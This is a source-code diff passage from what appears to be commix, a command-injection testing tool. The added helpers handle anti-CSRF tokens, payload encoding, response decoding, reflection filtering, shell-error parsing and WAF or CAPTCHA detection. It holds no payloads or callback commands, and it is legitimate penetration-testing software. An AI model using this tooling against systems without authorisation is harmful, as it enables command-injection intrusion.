+ settings.VALUE_BOUNDARIES, parameter) + value_inside_boundaries = bounded.group() if bounded else None + if value_inside_boundaries: + pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2] + if pcre_mod_value not in parameter: + while True: + message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries." + message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'" + message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) + value_inside_boundaries = pcre_mod_value + break + elif modifier_check in settings.CHOICE_NO: + break + elif modifier_check in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(modifier_check) + pass + + inside = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries) + value = inside.group(1) if inside else None + if value: + value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR) + while True: + message = "Do you want to inject the provided value '" + value + "' inside boundaries?" + message += " ('" + value + "') [Y/n] " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + parameter = parameter.replace(value_inside_boundaries, value) + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + except Exception: + pass + + return parameter + +""" +Ignoring the anti-CSRF parameter(s). +""" +def explicitly_testable(parameter): + # Asking for a parameter by name is asking for it to be tested, whatever it is called. + name = parameter.split("=")[0].strip().lower() + return any(name == _.split("=")[0].strip().lower() for _ in settings.TESTABLE_PARAMETERS_LIST) + +""" +Settle what names the anti-CSRF token, from what the user wrote. + +A name is taken as a name: where it would also read as an expression, the user is asked which was +meant, because the difference decides what the token is looked up by on every request from here on. +""" +def set_anticsrf_token(value): + settings.CSRF_TOKEN_ORIGINAL = value + try: + re.compile(value) + if re.escape(value) != value: + message = "The provided value for the option '--csrf-token' ('" + value + "') is a regular expression? [y/N] " + if common.read_input(message, default="N", check_batch=True) not in settings.CHOICE_YES: + value = re.escape(value) + except re.error: + value = re.escape(value) + settings.CSRF_TOKEN = value + +""" +Offer to keep a parameter that looks like an anti-CSRF token up to date, where none was named. + +The parameter is skipped for testing either way - what is asked here is whether its value should be +fetched again before every request, which is what a target that checks it requires. +""" +def offer_anticsrf_token(parameter): + if settings.CSRF_TOKEN or menu.options.batch or settings.LOAD_SESSION: + return + name = parameter.split("=")[0].strip() + if not name or not any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): + return + message = "The parameter '" + name + "' appears to hold an anti-CSRF token. " + message += "Do you want " + settings.APPLICATION + " to automatically update it in further requests? [y/N] " + if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES: + set_anticsrf_token(name) + +# Whether a parameter looks like an anti-CSRF token, which testing would only invalidate. +def ignore_anticsrf_parameter(parameter): + # Split where the name ends rather than at every '=' it holds: a value carrying one of its + # own - a token written in base64, most of them - is still that parameter's value, and a + # parameter skipped without a word said is one nobody knows went untested. + name, separator, value = parameter.partition("=") + # The name is what names a token, the way 'offer_anticsrf_token' reads it: a value that merely + # holds the word is ordinary input, and testing it is the whole point of being given it. + if any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): + if not explicitly_testable(parameter): + offer_anticsrf_token(parameter) + if separator: + info_msg = "Ignoring the parameter '" + name + info_msg += "' that appears to hold anti-CSRF token '" + value + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +# Whether a parameter is one '--randomize' carries a fresh value in, which is what it is for - +# a payload of ours in its place would be rewritten by the next request. +def ignore_randomized_parameter(parameter): + name = parameter.split("=")[0].strip() + if name in settings.RANDOMIZE_PARAMETERS_LIST: + info_msg = "Skipping the randomized parameter '" + name + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +""" +Ignoring the parameter(s) carrying session or framework state. +""" +def ignore_stateful_parameter(parameter): + name = parameter.split("=")[0].strip() + if name.upper() in settings.IGNORE_PARAMETERS and not explicitly_testable(parameter): + info_msg = "Ignoring the parameter '" + name + "' that appears to hold session or framework state." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +""" +Adapt newline characters in the payload depending on injection settings and OS. +""" +def sanitize_payload_newlines(payload): + if ( + settings.USER_AGENT_INJECTION + or settings.REFERER_INJECTION + or settings.HOST_INJECTION + or settings.CUSTOM_HEADER_INJECTION + ): + return payload.replace(settings.END_LINE.LF, ";") + + """ + Nothing else is rewritten. + + A newline inside a payload is written as the character it is meant to be - an interpreter's own + line break is a carriage return where it is one - so there is nothing left here to correct, and a + separator that is itself a newline must not be turned into something else. + """ + return payload + +""" +Normalize newline sequences (CRLF, CR, LF) into lowercase URL-encoded form. +""" +def normalize_newlines(payload): + """ + A header value cannot carry a line break - one would end the header, or be refused outright - so + any that the payload holds are written out in their encoded form instead. + + Only those. The payload used to be decoded whole first, which was needed while it arrived + part-encoded and is now only a way to damage a command that contains a per-cent sign. + """ + for seq in [settings.END_LINE.CRLF, settings.END_LINE.CR, settings.END_LINE.LF]: + payload = payload.replace(seq, _urllib.parse.quote(seq).lower()) + + return payload + +""" +Process HTTP response content: handle decompression and encode/decode page content. +""" +def decompress_page(body, content_encoding): + """ + A page as it was written, from the encoding it arrived in. + + Every decoder is stopped at the size a page is allowed to reach: a few hundred bytes can name + gigabytes, and reading that whole is how a target empties the memory of the machine testing it. + """ + content_encoding = (content_encoding or "").lower() + if content_encoding not in ("gzip", "x-gzip", "deflate", "br", "zstd"): + return body + cap = settings.MAX_PAGE_SIZE + original = body + try: + if content_encoding == "deflate": + # Raw deflate, read in bounded steps rather than expanded whole and measured afterwards. + decompressor = zlib.decompressobj(-15) + body = decompressor.decompress(body, cap + 1) + if len(body) > cap: + raise ValueError("size too large") + body += decompressor.flush() + if len(body) > cap: + raise ValueError("size too large") + elif content_encoding == "br": + if settings.BROTLI_DECODER is None: + raise ValueError("no brotli decoder available") + # Bounded where it is read, the way the encodings around it are: the decoder's own ceiling is + # a default of its own, and the two part as soon as what this run will read moves off it. + body = settings.BROTLI_DECODER.decompress(body, cap + 1) + if len(body) > cap: + raise ValueError("size too large") + elif content_encoding == "zstd": + if settings.ZSTD_DECODER is None: + raise ValueError("no zstandard decoder available") + decompressor = settings.ZSTD_DECODER.ZstdDecompressor(options={settings.ZSTD_DECODER.DecompressionParameter.window_log_max: 23}) + body = decompressor.decompress(body, max_length=cap + 1) + if len(body) > cap: + raise ValueError("size too large") + if not decompressor.eof: + raise ValueError("incomplete stream") + else: + with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(body), mode="rb")) as gz: + body = gz.read(cap + 1) + if len(body) > cap: + raise ValueError("size too large") + except Exception: + # A page that is not what it says it is: said once, and asked for uncompressed from here on, + # rather than arriving in the same state and failing the same way for the rest of the run. + if settings.PAGE_COMPRESSION: + settings.PAGE_COMPRESSION = False + warn_msg = "Page decompression failed, turning off page compression." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Handed back as it arrived rather than half-expanded: what was read of it says nothing about + # the page, and the next request asks for one that needs no expanding at all. + return original + return body + +def normalize_charset(charset, warn=True): + """ + The name a page declares itself in, as a name the platform actually has. + + What a page says about its own encoding is written by hand as often as not: it arrives with the + media type still attached, misspelled, aliased, or naming nothing at all. Anything that cannot be + decoded with in the end is refused, rather than used to read every page of the run wrongly. + """ + if not charset: + return None + charset = str(charset).lower() + for delimiter in (";", ",", "("): + if delimiter in charset: + charset = charset[:charset.find(delimiter)].strip() + charset = charset.replace(""", "") + + # Transpositions of a number that is nearly always '8859', and one that is nearly always '2312'. + for typo, correction in (("8858", "8859"), ("8559", "8859"), ("8895", "8859"), ("5889", "8859"), ("5589", "8859"), ("2313", "2312")): + if typo in charset: + charset = charset.replace(typo, correction) + break + else: + if charset.startswith("x-"): + charset = charset[len("x-"):] + elif "windows-cp" in charset: + charset = charset.replace("windows-cp", "windows") + + if charset.startswith("8859"): + charset = "iso-" + charset + elif charset.startswith("cp-"): + charset = "cp" + charset[3:] + elif charset.startswith("euc-"): + charset = "euc_" + charset[4:] + elif charset.startswith("windows") and not charset.startswith("windows-"): + charset = "windows-" + charset[7:] + elif charset.find("iso-88") > 0: + charset = charset[charset.find("iso-88"):] + elif charset.startswith("is0-"): + charset = "iso" + charset[4:] + elif charset.find("ascii") > 0: + charset = "ascii" + elif charset.find("utf8") > 0: + charset = "utf8" + elif charset.find("utf-8") > 0: + charset = "utf-8" + + if charset in settings.CHARSET_ALIASES: + charset = settings.CHARSET_ALIASES[charset] + elif charset in ("null", "{charset}", "charset", "*") or not re.search(r"\w", charset): + return None + + try: + codecs.lookup(charset) + except (LookupError, ValueError): + # A charset carrying a NUL is not a charset - and it is the target that chose it. + return None + try: + str(b"commix", charset) + except (UnicodeDecodeError, LookupError): + if warn and settings.VERBOSITY_LEVEL != 0: + warn_msg = "Invalid web page charset '" + charset + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + return charset + +def heuristic_charset(page): + """ + What a page looks like it is written in, where it says nothing about itself. + """ + if settings.CHARSET_DETECTOR is None or not page: + return None + try: + return normalize_charset(settings.CHARSET_DETECTOR(page[:settings.HEURISTIC_PAGE_SIZE_THRESHOLD]).get("encoding"), warn=False) + except Exception: + return None + +""" +A byte the page's own encoding cannot read, written down as the escape that spells it out. + +Thrown away instead, every unreadable byte comes back as the one replacement character, and output +read off a page stops being the bytes the target sent - 'caf\xc3\xa9' and 'caf\xff\xfe' arrive +as the same two characters, and neither is recoverable. Written out, the byte is still there. +""" +def _keep_unreadable_bytes(error): + kept = "".join(settings.UNREADABLE_BYTE_FORMAT % _ for _ in bytearray(error.object[error.start:error.end])) + return (kept, error.end) + +codecs.register_error(settings.UNREADABLE_BYTE_HANDLER, _keep_unreadable_bytes) + +""" +The bytes an unreadable escape stands for, back as themselves. + +Only a byte past ASCII is ever written out that way, so the text a target meant to send is left +alone - an escape it printed itself spells a character the page could read perfectly well. + +>>> restored_unreadable_bytes("caf\\xc3\\xa9") +'caf\xc3\xa9' +>>> restored_unreadable_bytes("plain \\x41 text") +'plain \\x41 text' +""" +def restored_unreadable_bytes(text): + if not isinstance(text, str) or "\\x" not in text: + return text + return re.sub(settings.UNREADABLE_BYTE_REGEX, lambda _: chr(int(_.group(1), 16)), text) + +""" +The page a boolean answer is read against. + +It has to be what the same request returns without a payload, which is the page kept at startup +only while the parameter still carries the value it arrived with. Where the sink turned out not to +need that value, a short random one stands in for it in every later request, and a target that +writes the value back answers the two differently whatever the payload did - so a true answer never +reads like the page it is compared against and every boundary is thrown away as one that broke the +sink. Asked once per value that stands in, the way the reference for this keeps one answer per +shape of request rather than one per test. +""" +def comparison_baseline(url, http_request_method): + if not settings.TESTABLE_VALUE_OPTIMIZED: + return settings.ORIGINAL_PAGE or "" + if settings.STAND_IN_PAGE_FOR != settings.TESTABLE_VALUE: + settings.STAND_IN_PAGE_FOR = settings.TESTABLE_VALUE + settings.STAND_IN_PAGE = requests.page_without_payload(url, http_request_method) or settings.ORIGINAL_PAGE or "" + return settings.STAND_IN_PAGE + +""" +Per-cent escapes read as the characters they stand for, except where one runs into a marker. + +What a command printed is bytes, not a page: a per-cent sign in its output is one it printed, and +the two characters behind it belong to whatever came next - the marker a technique closes the +output with, where the output ends on one. Read together, those three became a single byte, the +marker was no longer whole and the output came back as nothing at all: an output ending in '%' +and a marker beginning 'EF' lost both, while the same output and a marker beginning 'UZ' came +back as it was. An escape is left as it stands wherever reading it would reach into the marker, +and every other one is read the way a page carrying encoded text needs it read. +""" +def percent_decoded(body, guard=None): + if isinstance(guard, str): + guard = guard.encode(settings.DEFAULT_CODEC) + def decoded(match): + if guard and any(body.startswith(guard, match.start() + offset) for offset in (1, 2)): + return match.group(0) + return codecs.decode(match.group(1), "hex") + return re.sub(b"(?i)%([0-9a-f]{2})", decoded, body) + +def decode_page_body(body, response=None, percent_decode=True, entity_decode=True, guard=None): + """ + A page already read from its response, as text: decompressed if it was compressed, and read in + the encoding it declares. + + Used where the body is in hand rather than the response - a page kept for later, or one read once + and handed on to whoever reads it next. + """ + content_encoding = content_type = "" + if response is not None: + try: + content_encoding = response.info().get("Content-Encoding") or "" + content_type = (response.info().get(settings.CONTENT_TYPE) or "").lower() + except Exception: + content_encoding = content_type = "" + body = decompress_page(body, content_encoding) + + """ + What the page is written in, from what it says about itself. + + A page declares its charset twice - in the header it was served with and in its own head - and + the two disagree often enough that agreeing is what makes either believable. One on its own is + taken where the other is silent; two that differ are both discarded, and what the page looks like + is asked for instead. + """ + if menu.options.codec: + page_encoding = settings.DEFAULT_CODEC + else: + http_charset = meta_charset = None + if "charset=" in content_type: + http_charset = normalize_charset(content_type.split("charset=")[-1]) + if isinstance(body, bytes): + declared = re.search(settings.META_CHARSET_REGEX, body.decode(settings.DEFAULT_CODEC, errors="replace")) + meta_charset = normalize_charset(declared.group("result")) if declared else None + if (any((http_charset, meta_charset)) and not all((http_charset, meta_charset))) or (http_charset == meta_charset and all((http_charset, meta_charset))): + page_encoding = http_charset or meta_charset + else: + page_encoding = None + + """ + A page is written for a browser, which reads an entity and a per-cent escape as the character + each stands for - so what the target wrote is not what arrived, and the marker a technique looks + for would be searched for in text the target never sent. + """ + if isinstance(body, bytes) and "text/" in content_type: + if entity_decode and b"&#" in body: + body = re.sub(b"(?i)&#x([0-9a-f]{1,2});", lambda _: codecs.decode(_.group(1) if len(_.group(1)) == 2 else b"0" + _.group(1), "hex"), body) + body = re.sub(b"&#(\\d{1,3});", lambda _: bytes(bytearray([int(_.group(1))])) if int(_.group(1)) < 256 else _.group(0), body) + if percent_decode and b"%" in body: + body = percent_decoded(body, guard) + if entity_decode: + body = re.sub(b"&([^;]+);", lambda _: bytes(bytearray([settings.HTML_ENTITIES[_.group(1).decode("ascii", errors="replace")]])) if settings.HTML_ENTITIES.get(_.group(1).decode("ascii", errors="replace"), 256) < 256 else _.group(0), body) + page_encoding = page_encoding or heuristic_charset(body) + if (page_encoding or "").lower() == "utf-8-sig": + page_encoding = "utf-8" + if body.startswith(b"\xef\xbb\xbf"): + body = body[3:] + + if page_encoding: + settings.DEFAULT_PAGE_ENCODING = page_encoding + """ + Each encoding is tried as it stands, and only what none of them can read falls back on writing the + byte out. Read with a replacement character instead, the first encoding never fails - so the one + after it was never reached, and a page it could have read was taken in the wrong one regardless. + """ + for codec in (page_encoding or settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC, settings.DEFAULT_CODEC): + try: + return body.decode(codec) + except (UnicodeDecodeError, LookupError, TypeError): + continue + try: + return body.decode(settings.DEFAULT_CODEC, errors=settings.UNREADABLE_BYTE_HANDLER) + except (LookupError, TypeError): + return "" + +""" +The page with everything that is not its text taken out: scripts, styles, comments and the tags +themselves. + +What a target prints from a command it ran is text, and a page is mostly not. A few characters of +output against kilobytes of layout is a difference too small to read as one - which is how a +parameter that plainly reaches a shell comes back as one that changes nothing. +""" +def filtered_page_content(page, only_text=True, split=settings.SINGLE_WHITESPACE): + if not isinstance(page, str): + return page + page = re.sub(r"(?si)||" + (r"|<[^>]+>|\t|\n|\r" if only_text else ""), split, page) + page = re.sub(re.escape(split) + r"{2,}", split, page) + return page.strip().strip(split) + +# The alphanumeric run at either end of a marking, which would otherwise start or stop mid-word. +def _trim_alphanum(value): + while value and value[-1].isalnum(): + value = value[:-1] + while value and value[0].isalnum(): + value = value[1:] + return value + +""" +Note where a page differs from itself between two identical requests, by what sits either side of +the part that moved - a timestamp, a counter, a token - so the same region can be taken out of +every sample compared later on. +""" +def find_dynamic_content(first_page, second_page): + settings.DYNAMIC_MARKINGS = [] + if not first_page or not second_page: + return + try: + blocks = list(difflib.SequenceMatcher(None, first_page, second_page).get_matching_blocks()) + except (MemoryError, TypeError, ValueError): + return + # What is too short to anchor on is not a region, it is a coincidence. + blocks = [block for block in blocks if block[2] > 2 * settings.DYNAMICITY_BOUNDARY_LENGTH] + if not blocks: + return + blocks.insert(0, None) + blocks.append(None) + for index in range(len(blocks) - 1): + before, after = blocks[index], blocks[index + 1] + prefix = first_page[before[0]:before[0] + before[2]] if before else None + suffix = first_page[after[0]:after[0] + after[2]] if after else None + if prefix is None and after[0] == 0: + continue + if suffix is None and (before[0] + before[2] >= len(first_page)): + continue + if prefix and suffix: + prefix = prefix[-settings.DYNAMICITY_BOUNDARY_LENGTH:] + suffix = suffix[:settings.DYNAMICITY_BOUNDARY_LENGTH] + for page in (first_page, second_page): + match = re.search(r"(?s)" + re.escape(prefix) + r"(.+?)" + re.escape(suffix), page) + if match: + infix = match.group(1) + if infix[:1].isalnum(): + prefix = _trim_alphanum(prefix) + if infix[-1:].isalnum(): + suffix = _trim_alphanum(suffix) + break + marking = (prefix or None, suffix or None) + if marking not in settings.DYNAMIC_MARKINGS: + settings.DYNAMIC_MARKINGS.append(marking) + +""" +Take the regions that move on their own out of a page, so what is left is the part a parameter +could be responsible for. +""" +def remove_dynamic_content(page): + if not page: + return page + for prefix, suffix in settings.DYNAMIC_MARKINGS: + if prefix is None and suffix is None: + continue + elif prefix is None: + page = re.sub(r"(?s)^.+?" + re.escape(suffix), suffix.replace("\\", r"\\"), page) + elif suffix is None: + page = re.sub(r"(?s)" + re.escape(prefix) + r".+$", prefix.replace("\\", r"\\"), page) + else: + page = re.sub(r"(?s)" + re.escape(prefix) + r".+?" + re.escape(suffix), prefix.replace("\\", r"\\") + suffix.replace("\\", r"\\"), page) + return page + +""" +The page's own title, or nothing where it has none. + +A page can carry a counter, a session id and an advert and still be the same page, while its title is +the one line that names what the target decided to render - so where everything else moves, the title +is what a yes and a no can still be told apart by. +""" +def page_title(page): + match = re.search(r"(?i)]*>(?P[^<]*)", page or "") + return (match.group("result") or "").strip() if match else "" + +""" +How alike two pages are, from 0 to 1. + +Counted over the characters the two have in common rather than the order they arrive in, because +the ordered reading leaves out every character making up more than one percent of the page: a body +ending in a long run of few distinct characters - base64, hexadecimal, decimals - has every one of +them left out that way, and two such pages a single byte apart read as half alike. A pair too large +to read character by character at all is answered by their lengths, which is the one reading that +costs nothing. +""" +def page_ratio(first, second): + if first is None or second is None: + return 0.0 + if first == second: + return 1.0 + if not first or not second: + return 0.0 + if max(len(first), len(second)) > settings.MAX_COMPARISON_LENGTH: + ratio = 1.0 * len(first) / len(second) + return ratio if ratio <= 1 else 1.0 / ratio + try: + return difflib.SequenceMatcher(None, first, second).quick_ratio() + except (MemoryError, TypeError, ValueError): + return 0.0 + +""" +The page as it is worth comparing: without the regions that move by themselves, and - where +'--text-only' was given - without the layout they sit in either, or - where '--titles' was given - +nothing but the line that names what was rendered. +""" +def comparable_page(page): + if menu.options.titles: + return page_title(page) + if menu.options.text_only: + page = filtered_page_content(page) + return remove_dynamic_content(page) + +# How much of the page is the text a command's output would show up in. +def page_text_percent(page): + if not page: + return 100.0 + return 100.0 * len(filtered_page_content(page)) / len(page) + +def process_page_content(response, action, guard=None): + try: + page = response.read() + except _http_client.IncompleteRead as err_msg: + requests.request_failed(err_msg) + page = err_msg.partial + + # Handle compressed content + content_encoding = response.info().get('Content-Encoding') + try: + response.close() + except Exception: + pass + # Read as text the one way every page is read: decompressed, in the charset the page and its + # header agree on, with what a browser would resolve already resolved. + if action != "encode": + return decode_page_body(page, response, percent_decode=not settings.CRAWLING, guard=guard) + + page = decompress_page(page, content_encoding) + + # Encode page content, in what the page said it is written in - unless the user named a codec of + # their own with '--codec', which outranks whatever the page declares. + chosen = settings.DEFAULT_CODEC if menu.options.codec else (settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC) + error_occurred = False + err_msg = "" + """ + What the page declares is a claim, and a claim can be wrong. + + The codec commix was configured with is not a claim, so a failure there is worth stopping for - + but a page that names an encoding it does not honour is the target's mistake, and reading it the + configured way is a better answer than abandoning the run over it. + """ + for codec in (chosen, settings.DEFAULT_CODEC): + try: + if action == "encode" and isinstance(page, str): + return page.encode(codec, errors="replace") + else: + return page.decode(codec) + except (UnicodeEncodeError, UnicodeDecodeError) as err: + err_msg = "The " + str(err).split(":")[0] + ". " + except (LookupError, TypeError) as err: + err_msg = "The '" + str(codec) + "' is " + str(err).split(":")[0] + ". " + if codec == settings.DEFAULT_CODEC: + error_occurred = True + break + + """ + A page none of the encodings could read is still the target's own bytes, so they are written out + rather than given up on - the same last resort the body read for its text falls back on. Read with + a replacement character instead, what a command printed stopped being what the target sent. + """ + if isinstance(page, bytes): + try: + return page.decode(settings.DEFAULT_CODEC, errors=settings.UNREADABLE_BYTE_HANDLER) + except (LookupError, TypeError): + pass + + # If there was an error, advise the user + if error_occurred: + err_msg += "Re-run with" + if menu.options.codec is None: + err_msg += "out" + err_msg += " option '--codec'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +The payload as a pattern that still matches what the target made of it. + +Its alphanumeric runs are kept as they are and whatever sat between them is left open, because that +is the part a target rewrites: a space arriving as '+', a character escaped on the way back, a +filter that upper-cased what it passed on. The runs themselves are what the payload is recognised +by. Nothing is built from a payload with no such run - an open pattern alone matches every page at +every position, and would take the page out rather than the reflection in it. +""" +def reflection_pattern(payload): + parts = [re.escape(part) for part in re.split(r"[^A-Za-z0-9]+", payload) if part] + if not parts: + return None + if len(parts) > settings.REFLECTED_MAX_PATTERN_PARTS: + half = settings.REFLECTED_MAX_PATTERN_PARTS // 2 + parts = parts[:half] + parts[-half:] + return settings.REFLECTED_GAP_REGEX.join(parts) + +""" +A value given as an escape, as the character it stands for. + +A newline or a tab cannot be put into an option on most shells without the shell eating it first, so +it is written "\\n" - two characters, which no request data holds, leaving the delimiter unused and +the parameters it was meant to split reported as absent instead. + +Read left to right in one pass, so an escaped backslash shields what follows rather than being +decoded a second time, and with nothing but the whitespace escapes in the mapping: a NUL or a +non-ASCII byte in a value is the byte it is, not an escape to be rewritten. +""" +def decode_string_escape(value): + if not value or "\\" not in value: + return value + mapping = dict((repr(_).strip("'"), _) for _ in string.whitespace.replace(settings.SINGLE_WHITESPACE, "")) + mapping["\\\\"] = "\\" + return re.sub("|".join(re.escape(_) for _ in ["\\\\"] + list(mapping)), lambda match: mapping[match.group(0)], value) + +""" +Ignore payload reflections so they cannot trigger a false positive. + +A page carrying the payload back differs from one that does not by the payload, whatever the command +did - so a technique reading an answer off two pages would be reading the reflection as well as the +answer. Taken out of both, and replaced by a marker rather than by what it replaces, so two payloads +of unequal length leave pages of equal length behind them. +""" +def remove_reflected_values(html_data, payload): + if not payload or not html_data: + return html_data + decoded_payload = _urllib.parse.unquote_plus(payload) + filtered = html_data + # The payload exactly as it went out, which is the common case and costs one scan of the page. + if decoded_payload and decoded_payload in filtered: + filtered = filtered.replace(decoded_payload, settings.REFLECTED_VALUE_MARKER) + # Then the payload as the target may have rewritten it, which only a pattern can find. + if filtered == html_data: + pattern = reflection_pattern(decoded_payload) + if pattern: + # Taken only where what matched is the length of a reflection rather than of a paragraph. + cap = len(decoded_payload) * settings.REFLECTED_MAX_LENGTH_FACTOR + settings.REFLECTED_LENGTH_ALLOWANCE + def _bounded(match): + return settings.REFLECTED_VALUE_MARKER if len(match.group(0)) <= cap else match.group(0) + try: + filtered = re.sub("(?i)" + pattern, _bounded, filtered) + except Exception: + filtered = html_data + if filtered != html_data and not settings.REFLECTIVE_VALUE_FOUND: + settings.REFLECTIVE_VALUE_FOUND = True + warn_msg = "The response appears to reflect the target parameter value(s). Filtering reflected content." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return filtered + +""" +Returns header value ignoring the letter case +""" +def get_header(headers, key): + value = None + for name in (headers or {}): + if name.upper() == key.upper(): + value = headers[name] + break + return value + +""" +The shell or interpreter error a page is reporting, where it is reporting one. +""" +def extract_error_message(page): + if not isinstance(page, str) or not any(hint in page for hint in settings.SHELL_ERROR_HINTS): + return None + try: + import html + unescape = html.unescape + except ImportError: + unescape = _html_parser.HTMLParser().unescape + # The markup a message is wrapped in is the page's, not the shell's - and a message split across + # tags is one the shell wrote in one piece. Lines are left alone, so the regexes stay within one. + page = re.sub(r"[^\S\n]+", settings.SINGLE_WHITESPACE, re.sub(r"<[^>]{0,128}>", settings.SINGLE_WHITESPACE, unescape(page))) + for regex in settings.SHELL_ERROR_REGEXES: + match = re.search(regex, page) + if match: + candidate = match.group("result").strip().rstrip(".") + if candidate: + return candidate + return None + +""" +Say what the target answered with, where it answered with a shell or interpreter error. + +Evidence that the payload reached a shell and was not understood there, which is a different answer +from a parameter that never reached one - and the run it belongs to is the one that ends "not +injectable" while a different separator would have worked. +""" +def parse_errors(page): + message = extract_error_message(page) + if message is None: + return + settings.SHELL_ERROR_SEEN = True + if not menu.options.parse_errors or message in settings.PARSED_ERRORS: + return + settings.PARSED_ERRORS.add(message) + warn_msg = "Parsed error message from the target's response: '" + message + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Appends the WAF/CDN product name identified in 'page' (if any) to a warning message that already +ends in '.', as " ('')." in its place - unidentified, the message is left as it stands. +""" +def _name_waf_in(message, page): + waf_name = settings.WAF_IDENTIFIED or identify_waf_in_text(page) + if waf_name: + settings.WAF_IDENTIFIED = waf_name + message = message[:-1] + " ('" + waf_name + "')." + return message + +""" +Checks regarding a recognition of generic "your ip has been blocked" messages. +""" +def blocked_ip(page): + if not settings.BLOCKED_IP_DETECTED and re.search(settings.BLOCKED_IP_REGEX, page): + settings.BLOCKED_IP_DETECTED = True + settings.WAF_ENABLED = True + persist_waf_finding() + warn_msg = _name_waf_in("It appears the target server has blocked you.", page) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + +""" +Checks regarding a potential browser verification protection mechanism. +""" +def browser_verification(page): + if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""): + settings.BROWSER_VERIFICATION = True + settings.WAF_ENABLED = True + persist_waf_finding() + warn_msg = _name_waf_in("Potential browser verification protection mechanism detected.", page) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + +""" +Checks regarding a potential CAPTCHA protection mechanism. +""" +def captcha_check(page): + if not settings.CAPTCHA_DETECED and re.search(r"(?i)captcha", page or ""): + for match in re.finditer(r"(?si)", page): + if re.search(r"(?i)captcha", match.group(0)): + settings.CAPTCHA_DETECED = True + settings.WAF_ENABLED = True + persist_waf_finding() + warn_msg = _name_waf_in("Potential CAPTCHA protection mechanism detected.", page) + if settings.CRAWLING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + break + +""" +Checking the reliability of the used payload message. +""" +def check_for_false_positive_result(false_positive_warning): + # The search that was counting itself off in dots has just found what it was looking for, so its + # line is finished - said so, rather than left hanging while the next line reports the finding. + if settings.PROGRESS_LINE_OPEN: + settings.print_data_to_stdout(" (done)") + info_msg = "Identified a potential injection point on " + info_msg += settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Testing" + (" with a longer delay to rule out noise" if false_positive_warning else "") + info_msg += " if the injection point is a false positive" + if settings.VERBOSITY_LEVEL != 0: + info_msg = info_msg + "." + settings.END_LINE.LF + else: + info_msg = info_msg +", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + +""" +False positive or unexploitable injection point detected. +""" +def unexploitable_point(retry_attempt=None, retry_total=None): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + warn_msg = "Detected a false positive or unexploitable injection point. Trying for re-verification" + warn_msg += (" (" + str(retry_attempt) + "/" + str(retry_total) + ").") if retry_attempt else "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Url decode specific chars of the provided payload. +""" +def url_decode(payload): + rep = { + "%20": " ", + "%2B": "+", + settings.END_LINE.LF: settings.END_LINE.ESCAPED_LF + } + rep = dict((re.escape(k), v) for k, v in rep.items()) + pattern = re.compile("|".join(rep.keys())) + payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + return payload + +""" +Check current assessment phase. +""" +def assessment_phase(): + if settings.DETECTION_PHASE: + if settings.CRAWLING_PHASE: + return "crawling" + else: + return "detection" + else: + return "exploitation" + +""" +Fix single / double quote escaping. +""" +def escaped_cmd(cmd): + if "\\\"" in cmd : + cmd = cmd.replace("\\\"","\"") + if r"\'" in cmd : + cmd = cmd.replace(r"\'","'") + if r"\$" in cmd : + cmd = cmd.replace(r"\$","$") + return cmd + +""" +Escape only the "$" sitting outside single quotes - single-quoted interpreter code (php -r '...', perl -e '...') is +already literal in both a shell and PHP, so a backslash there reaches the interpreter as a syntax error instead. +""" +def escape_unquoted_dollars(payload): + escaped = [] + inside_single_quotes = False + for char in payload: + if char == "'": + inside_single_quotes = not inside_single_quotes + if char == "$" and not inside_single_quotes: + escaped.append("\\") + escaped.append(char) + return "".join(escaped) + +""" +Removing the first and/or last line of the html content (in case there are/is empty). +""" +def remove_empty_lines(content): + # The empty lines themselves, and nothing else: the last line is not the text behind the last + # newline, which searching for one carried off with it - a body holding a single newline was + # emptied outright, and one not ending in a newline lost its closing line. + if content.startswith(settings.END_LINE.LF): + content = content[1:] + if content.endswith(settings.END_LINE.LF): + content = content[:-1] + return content + +""" +Build the vulnerability or session-resume message for a confirmed parameter. +""" +def vulnerable_message(url): + message = "" + if settings.LOAD_SESSION: + message = "Resumed " + message += settings.CHECKING_PARAMETER + if settings.LOAD_SESSION: + message += " injection point from stored session" + else: + message += " is vulnerable" + message += "." + if settings.CRAWLING: + 